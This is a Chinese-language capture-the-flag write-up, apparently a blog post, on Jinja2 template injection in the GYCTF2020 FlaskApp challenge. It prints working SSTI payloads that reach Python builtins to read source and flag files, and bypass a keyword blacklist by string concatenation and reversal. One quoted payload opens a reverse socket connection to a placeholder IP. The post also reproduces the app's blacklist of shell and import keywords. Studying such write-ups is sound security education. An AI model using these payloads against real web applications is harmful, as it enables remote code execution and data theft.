[GYCTF2020]FlaskApp

考点

        flask的ssti模板注入

        ssti模板注入绕过        

        ping码的生成

信息收集

开局给了加密解密和提示 提示让我们努力尝试(好像没有用

然后在解密那乱输入发现debug开启了

然后就看见了部分源码

大概就是text参数绕过waf就可以执行代码了

用{{6+6}}加密解密得到12确定存在ssti模板注入

 

参考知识

        在jinja2中 控制结构 {% %} 变量取值 {{ }}

        python魔法方法与属性

                __class__                 返回调用的参数类型

                __bases__               返回基类列表

                __mro__                   此属性是在方法解析期间寻找基类时的参考类元组

                __subclasses__()     返回字典的列表

                __globals__              以字典的形式返回函数所在的全局命名空间所定义的全局变量与func_globals等价

                __builtins__              内建模块的引用,在任何地方都是可见的(包括全局),每个Python脚本都会自动加载,这个模块包括了很多强大的built-in函数,例如eval,exec,open等等

具体过程      

        先读完整的app.py方便绕过waf

        参考Templates Injections的payload

{% for x in ().__class__.__base__.__subclasses__() %}
{% if "warning" in x.__name__ %}
{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ip\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/cat\", \"flag.txt\"]);'").read().zfill(417)}}
{%endif%}{% endfor %}

        改成

{% for x in [].__class__.__base__.__subclasses__() %}
{% if x.__name__=='catch_warnings' %}
{{ x.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{% endif %}{% endfor %}

 换成一行

{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('app.py').read() }}{% endif %}{% endfor %}

 得到一坨

 

 waf

def waf(str): 
    black_list = [&
    #34;flag","os","system",&
    #34;popen","import","eval",&
    #34;chr","request", "subprocess",&
    #34;commands","socket","hex",&
    #34;base64","*","?"
] 
    for x in black_list :
        if x in str.lower() : return 1@app.route('/hint',methods=['GET'])

 知道了些关键字另外还会将字符转小写,所以不能用lower或者base64、hex绕过,但可以字符串拼接绕过 用listdir方法查看当前目录文件

{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}{% endif %}{% endfor %}

得到

['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']

看见this_is_the_flag.txt 再拼接用open读取

{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt').read()}}{% endif %}{% endfor %}

 就来咯

 倒叙输出绕过

        txt.galf_eht_si_siht/’[::-1] 将字符倒转输出

        就是this_is_the_flag.txt  

{% for x in [].__class__.__base__.__subclasses__() %}{% if x.__name__=='catch_warnings' %}{{ x.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1]).read()}}{% endif %}{% endfor %}

 利用PIN码进行RCE

这个我还没做出来 先留着 有点小问题在计算pin码上

好了开摆

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值